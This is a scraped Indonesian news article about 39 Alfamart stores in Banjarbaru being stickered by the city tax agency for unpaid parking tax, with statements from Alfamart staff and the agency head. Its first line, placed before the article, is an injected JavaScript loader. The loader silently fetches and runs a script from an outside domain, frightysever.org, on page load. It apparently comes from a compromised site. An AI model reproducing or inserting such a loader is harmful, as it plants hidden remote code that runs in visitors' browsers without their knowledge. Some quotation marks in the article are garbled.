(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, 39 buah toko ritel modern Alfamart yang beroperasi di Banjarbaru mendapat sanksi dari Badan Pengelolaan Pajak dan Retribusi Daerah (BP2RD) Kota Banjarbaru berupa penempelan stiker di pintu utama disebabkan belum melunasi tagihan pajak parkir. Terkait hal tersebut, pihak Alfamart berdalih sebelumnya tak menerima sosialisasi.
Banyak masyarakat dibuat kebingungan saat semua toko retail modern Alfamart di Banjarbaru ditempel stiker dari Pemko Banjarbaru di mana objek pajak ini belum melunasi kewajiban perpajakan daerah. Stiker itu ditempel belum lama tadi oleh Petugas Pemko Banjarbaru.
Koordinator Area Alfamart di Banjarbaru, Hairullah mengatakan, pihaknya juga heran apa kesalahannya. Sebab selama ini pihaknya sudah taat dan tidak ada masalah soal pajak bangunan. Namun ternyata yang disoalkan adalah pajak parkir. “Dan ini menurut saya baru dan belum ada sosialisasi. Tapi atas ini kami di area Banjarbaru sudah melaporkan kejadian ini ke Office atau atasan kami,” kata Hairullah.
Sementara Budi Santoro selaku Corcom Alfamart menjelaskan, pada prinsipnya mendukung kebijakan pemerintah, namun juga mesti ada sosialisasi sebelumnya. “Sebab selama ini dari laporan yang ada belum ada sosialisasi yang disampaikan. Kemudian juga soal pajak apa di stiker tersebut belum ada ketahuan soal apanya. Tapi kita coba komunikasikan agar persoalan ini segera selesai,” tandasnya.
Sebelumnya, 39 buah toko ritel modern Alfamart mendapat sanksi BP2RD dengan ditempeli stiker di pintu utama disebabkan belum melunasi tagihan pajak parkir. Dalam stiker yang berwarna merah ini, berisikan tulisan ‘Objek Pajak Ini Belum Melunasi Kewajiban Pajak’, di mana stiker tersebut ditempel oleh petugas BP2RD beberapa waktu lalu.
Kepala BP2RD Kota Banjarbaru, Rustam Effendi  menyampaikan, bahwa lahan yang dikelola oleh swasta dan parkirnya yang digratiskan (tidak dipungut bayaran) menjadi tanggung jawab pengelolanya.
Terkait dengan pembayaran pajak dari buah toko ritel modern, kata Rustam, pihaknya telah melakukan survey baik terhadap Alfamart atau Indomaret. Namun dari kedua toko ritel tersebut, hanya Indomaret yang taat pajak dan sudah melakukan pembayaran.
Rustam juga menerangkan, bahwa aturan ini tertuang dalam UU Nomor 28 Tahun 2009 tentang pajak dan retribusi daerah dan Peraturan Daerah Nomor 4 tahun 2011. “Ketika ada tagihan pajak dan mereka tidak mau membayar, kita berikan teguran tiga kali berturut-turut, kemudian kalau tidak dibayar, kita tempeli stiker tersebut sebagai tahapan sanksi,†ujarnya.
Ketika mereka tidak juga menggubris apa yang kita sampaikan, kata Rustam, maka sanksi berikutnya dapat berupa penyegelan. “ Dan kita telah membentuk tim yang terdiri dari beberapa SKPD, termasuk di antaranya kejaksaan untuk melakukan pemeriksaan terhadap ritel itu,†kata Rustam.
Perlu diketahui, sebelum melaksanakan eksekusi berupa penempelan stiker di pintu utama Alfamart, BP2RD Kota Banjarbaru terlebih dahulu telah memberitahukan dan mensosialisasikan ihwal aturan perpajakan ini kepada pihak yang terkait.(rico)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.